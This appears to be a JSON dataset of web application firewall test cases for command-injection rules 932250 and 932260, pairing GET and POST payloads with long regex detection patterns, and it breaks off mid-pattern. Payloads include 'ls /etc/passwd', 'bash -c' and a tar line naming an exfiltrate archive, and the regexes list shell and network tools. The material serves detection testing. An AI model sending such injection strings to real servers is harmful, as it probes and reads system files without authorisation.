"uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?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?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932250", "test_description": "'ls' direct command injection" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=ls%20/etc/passwd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?a[\\\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\s\\x0b&\\),<>\\|]|$).*))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932250", "test_description": "'ls' direct command injection (no flags)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=ls%20foo%20bar" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\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\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932250", "test_description": "'ls' direct command injection (no slashes)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=kills%20foo%20bar" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\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\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932250", "test_description": "'ls' direct command injection FP test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "show_comments_cookies_opt_in=true" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?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x5c?(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932250", "test_description": "FP for 'sh' without word boundary" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "param=rc" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "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": "CRITICAL" }, "metadata": { "rule_id": "932250", "test_description": "FP for 'rc'" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "param=aa-disable%20php-fpm" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\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)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932250", "test_description": "True Positive: Block aa-disable" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "932260-1=bash%20-c%20%22echo%20test%22" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\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?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:a(?:ddgroup|nsible|pparmor_[^\\s\\x0b]{1,10}\\b|rj(?:-register|disp)|tobm(?:[\\s\\x0b&\\),<>\\|]|$)|u(?:ditctl|repot|search))|b(?:ase(?:32|64|nc)|(?:lkid|rwap|yobu)(?:[\\s\\x0b&\\),<>\\|]|$)|sd(?:cat|iff|tar)|u(?:iltin|nzip2|sybox)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "932260-2=dont match commands that are not at start;tar -xzf /var/www/exfiltrate.tar.gz /etc" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(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tobm(?:[\\s\\x0b&\\),<>\\|]|$)|u(?:ditctl|repot|search))|b(?:ase(?:32|64|nc)|(?:lkid|rwap|yobu)(?:[\\s\\x0b&\\),<>\\|]|$)|sd(?:cat|iff|tar)|u(?:iltin|nzip2|sybox)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)